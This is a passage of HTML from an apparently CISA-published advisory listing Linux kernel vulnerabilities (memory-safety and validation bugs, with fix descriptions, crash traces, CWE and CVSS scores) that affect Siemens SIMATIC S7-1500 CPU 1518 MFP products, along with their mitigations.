<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-68371</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: scsi: smartpqi: Fix device resources accessed after device removal Correct possible race conditions during device removal. Previously, a scheduled work item to reset a LUN could still execute after the device was removed, leading to use-after-free and other resource access issues. This race condition occurs because the abort handler may schedule a LUN reset concurrently with device removal via sdev_destroy(), leading to use-after-free and improper access to freed resources. - Check in the device reset handler if the device is still present in the controller's SCSI device list before running; if not, the reset is skipped. - Cancel any pending TMF work that has not started in sdev_destroy(). - Ensure device freeing in sdev_destroy() is done while holding the LUN reset mutex to avoid races with ongoing resets.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-68371">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-68724</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: crypto: asymmetric_keys - prevent overflow in asymmetric_key_generate_id Use check_add_overflow() to guard against potential integer overflows when adding the binary blob lengths and the size of an asymmetric_key_id structure and return ERR_PTR(-EOVERFLOW) accordingly. This prevents a possible buffer overflow when copying data from potentially malicious X.509 certificate fields that can be arbitrarily large, such as ASN.1 INTEGER serial numbers, issuer names, etc.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-68724">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/190.html">CWE-190 Integer Overflow or Wraparound</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-68725</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: bpf: Do not let BPF test infra emit invalid GSO types to stack Yinhao et al. reported that their fuzzer tool was able to trigger a skb_warn_bad_offload() from netif_skb_features() -&gt; gso_features_check(). When a BPF program - triggered via BPF test infra - pushes the packet to the loopback device via bpf_clone_redirect() then mentioned offload warning can be seen. GSO-related features are then rightfully disabled. We get into this situation due to convert___skb_to_skb() setting gso_segs and gso_size but not gso_type. Technically, it makes sense that this warning triggers since the GSO properties are malformed due to the gso_type. Potentially, the gso_type could be marked non-trustworthy through setting it at least to SKB_GSO_DODGY without any other specific assumptions, but that also feels wrong given we should not go further into the GSO engine in the first place. The checks were added in 121d57af308d ("gso: validate gso_type in GSO handlers") because there were malicious (syzbot) senders that combine a protocol with a non-matching gso_type. If we would want to drop such packets, gso_features_check() currently only returns feature flags via netif_skb_features(), so one location for potentially dropping such skbs could be validate_xmit_unreadable_skb(), but then otoh it would be an additional check in the fast-path for a very corner case. Given bpf_clone_redirect() is the only place where BPF test infra could emit such packets, lets reject them right there.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-68725">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-68742</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: bpf: Fix invalid prog-&gt;stats access when update_effective_progs fails Syzkaller triggers an invalid memory access issue following fault injection in update_effective_progs. The issue can be described as follows: __cgroup_bpf_detach update_effective_progs compute_effective_progs bpf_prog_array_alloc &lt;-- fault inject purge_effective_progs /* change to dummy_bpf_prog */ array-&gt;items[index] = &amp;dummy_bpf_prog.prog ---softirq start--- __do_softirq ... __cgroup_bpf_run_filter_skb __bpf_prog_run_save_cb bpf_prog_run stats = this_cpu_ptr(prog-&gt;stats) /* invalid memory access */ flags = u64_stats_update_begin_irqsave(&amp;stats-&gt;syncp) ---softirq end--- static_branch_dec(&amp;cgroup_bpf_enabled_key[atype]) The reason is that fault injection caused update_effective_progs to fail and then changed the original prog into dummy_bpf_prog.prog in purge_effective_progs. Then a softirq came, and accessing the members of dummy_bpf_prog.prog in the softirq triggers invalid mem access. To fix it, skip updating stats when stats is NULL.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-68742">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-68764</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: NFS: Automounted filesystems should inherit ro,noexec,nodev,sync flags When a filesystem is being automounted, it needs to preserve the user-set superblock mount options, such as the "ro" flag.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-68764">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/266.html">CWE-266 Incorrect Privilege Assignment</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>6.1</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:N">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:N</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-68773</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: spi: fsl-cpm: Check length parity before switching to 16 bit mode Commit fc96ec826bce ("spi: fsl-cpm: Use 16 bit mode for large transfers with even size") failed to make sure that the size is really even before switching to 16 bit mode. Until recently the problem went unnoticed because kernfs uses a pre-allocated bounce buffer of size PAGE_SIZE for reading EEPROM. But commit 8ad6249c51d0 ("eeprom: at25: convert to spi-mem API") introduced an additional dynamically allocated bounce buffer whose size is exactly the size of the transfer, leading to a buffer overrun in the fsl-cpm driver when that size is odd. Add the missing length parity verification and remain in 8 bit mode when the length is not even.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-68773">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-68776</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: net/hsr: fix NULL pointer dereference in prp_get_untagged_frame() prp_get_untagged_frame() calls __pskb_copy() to create frame-&gt;skb_std but doesn't check if the allocation failed. If __pskb_copy() returns NULL, skb_clone() is called with a NULL pointer, causing a crash: Oops: general protection fault, probably for non-canonical address 0xdffffc000000000f: 0000 [#1] SMP KASAN NOPTI KASAN: null-ptr-deref in range [0x0000000000000078-0x000000000000007f] CPU: 0 UID: 0 PID: 5625 Comm: syz.1.18 Not tainted syzkaller #0 PREEMPT(full) Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.16.3-debian-1.16.3-2~bpo12+1 04/01/2014 RIP: 0010:skb_clone+0xd7/0x3a0 net/core/skbuff.c:2041 Code: 03 42 80 3c 20 00 74 08 4c 89 f7 e8 23 29 05 f9 49 83 3e 00 0f 85 a0 01 00 00 e8 94 dd 9d f8 48 8d 6b 7e 49 89 ee 49 c1 ee 03 &lt;43&gt; 0f b6 04 26 84 c0 0f 85 d1 01 00 00 44 0f b6 7d 00 41 83 e7 0c RSP: 0018:ffffc9000d00f200 EFLAGS: 00010207 RAX: ffffffff892235a1 RBX: 0000000000000000 RCX: ffff88803372a480 RDX: 0000000000000000 RSI: 0000000000000820 RDI: 0000000000000000 RBP: 000000000000007e R08: ffffffff8f7d0f77 R09: 1ffffffff1efa1ee R10: dffffc0000000000 R11: fffffbfff1efa1ef R12: dffffc0000000000 R13: 0000000000000820 R14: 000000000000000f R15: ffff88805144cc00 FS: 0000555557f6d500(0000) GS:ffff88808d72f000(0000) knlGS:0000000000000000 CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 CR2: 0000555581d35808 CR3: 000000005040e000 CR4: 0000000000352ef0 Call Trace: hsr_forward_do net/hsr/hsr_forward.c:-1 [inline] hsr_forward_skb+0x1013/0x2860 net/hsr/hsr_forward.c:741 hsr_handle_frame+0x6ce/0xa70 net/hsr/hsr_slave.c:84 __netif_receive_skb_core+0x10b9/0x4380 net/core/dev.c:5966 __netif_receive_skb_one_core net/core/dev.c:6077 [inline] __netif_receive_skb+0x72/0x380 net/core/dev.c:6192 netif_receive_skb_internal net/core/dev.c:6278 [inline] netif_receive_skb+0x1cb/0x790 net/core/dev.c:6337 tun_rx_batched+0x1b9/0x730 drivers/net/tun.c:1485 tun_get_user+0x2b65/0x3e90 drivers/net/tun.c:1953 tun_chr_write_iter+0x113/0x200 drivers/net/tun.c:1999 new_sync_write fs/read_write.c:593 [inline] vfs_write+0x5c9/0xb30 fs/read_write.c:686 ksys_write+0x145/0x250 fs/read_write.c:738 do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline] do_syscall_64+0xfa/0xfa0 arch/x86/entry/syscall_64.c:94 entry_SYSCALL_64_after_hwframe+0x77/0x7f RIP: 0033:0x7f0449f8e1ff Code: 89 54 24 18 48 89 74 24 10 89 7c 24 08 e8 f9 92 02 00 48 8b 54 24 18 48 8b 74 24 10 41 89 c0 8b 7c 24 08 b8 01 00 00 00 0f 05 &lt;48&gt; 3d 00 f0 ff ff 77 31 44 89 c7 48 89 44 24 08 e8 4c 93 02 00 48 RSP: 002b:00007ffd7ad94c90 EFLAGS: 00000293 ORIG_RAX: 0000000000000001 RAX: ffffffffffffffda RBX: 00007f044a1e5fa0 RCX: 00007f0449f8e1ff RDX: 000000000000003e RSI: 0000200000000500 RDI: 00000000000000c8 RBP: 00007ffd7ad94d20 R08: 0000000000000000 R09: 0000000000000000 R10: 000000000000003e R11: 0000000000000293 R12: 0000000000000001 R13: 00007f044a1e5fa0 R14: 00007f044a1e5fa0 R15: 0000000000000003 Add a NULL check immediately after __pskb_copy() to handle allocation failures gracefully.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-68776">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/476.html">CWE-476 NULL Pointer Dereference</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-68782</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: scsi: target: Reset t_task_cdb pointer in error case If allocation of cmd-&gt;t_task_cdb fails, it remains NULL but is later dereferenced in the 'err' path. In case of error, reset NULL t_task_cdb value to point at the default fixed-size buffer. Found by Linux Verification Center (linuxtesting.org) with SVACE.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-68782">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-68787</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: netrom: Fix memory leak in nr_sendmsg() syzbot reported a memory leak [1]. When function sock_alloc_send_skb() return NULL in nr_output(), the original skb is not freed, which was allocated in nr_sendmsg(). Fix this by freeing it before return. [1] BUG: memory leak unreferenced object 0xffff888129f35500 (size 240): comm "syz.0.17", pid 6119, jiffies 4294944652 hex dump (first 32 bytes): 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00 00 00 00 00 00 00 00 00 10 52 28 81 88 ff ff ..........R(.... backtrace (crc 1456a3e4): kmemleak_alloc_recursive include/linux/kmemleak.h:44 [inline] slab_post_alloc_hook mm/slub.c:4983 [inline] slab_alloc_node mm/slub.c:5288 [inline] kmem_cache_alloc_node_noprof+0x36f/0x5e0 mm/slub.c:5340 __alloc_skb+0x203/0x240 net/core/skbuff.c:660 alloc_skb include/linux/skbuff.h:1383 [inline] alloc_skb_with_frags+0x69/0x3f0 net/core/skbuff.c:6671 sock_alloc_send_pskb+0x379/0x3e0 net/core/sock.c:2965 sock_alloc_send_skb include/net/sock.h:1859 [inline] nr_sendmsg+0x287/0x450 net/netrom/af_netrom.c:1105 sock_sendmsg_nosec net/socket.c:727 [inline] __sock_sendmsg net/socket.c:742 [inline] sock_write_iter+0x293/0x2a0 net/socket.c:1195 new_sync_write fs/read_write.c:593 [inline] vfs_write+0x45d/0x710 fs/read_write.c:686 ksys_write+0x143/0x170 fs/read_write.c:738 do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline] do_syscall_64+0xa4/0xfa0 arch/x86/entry/syscall_64.c:94 entry_SYSCALL_64_after_hwframe+0x77/0x7f</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-68787">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
